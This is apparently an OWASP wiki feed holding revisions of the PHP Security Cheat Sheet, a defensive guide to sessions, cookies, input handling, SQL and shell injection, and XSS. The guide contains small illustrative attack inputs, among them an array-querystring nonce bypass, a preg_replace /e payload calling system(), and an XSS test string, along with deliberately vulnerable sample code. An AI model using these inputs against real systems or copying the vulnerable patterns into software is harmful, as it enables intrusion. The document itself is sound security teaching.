PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
[mailto:L.Plant.98@cantab.net Luke Plant]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184339</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184339"/>
				<updated>2014-10-30T08:39:28Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: /* Exceptions and error handling */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the language. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In many other languages, and most high level languages that compete with PHP, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($db_link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($db_link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
PHP also provides an 'array' data structure, which is used extensively in all PHP code and internally, that is a confusing mix between an array and a dictionary. This confusion can cause even experience PHP developers to introduce critical security vulnerabilities such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] (see [http://cgit.drupalcode.org/drupal/commit/?id=26a7752c34321fd9cb889308f507ca6bdb777f08 the patch]).&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
Exactly the same issue, combined with the confusion of PHP's 'array' data structure, can be exploited in issues such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] - see [http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo example exploit].&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you should use query builder that is provided by a framework. Do not roll your own.&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
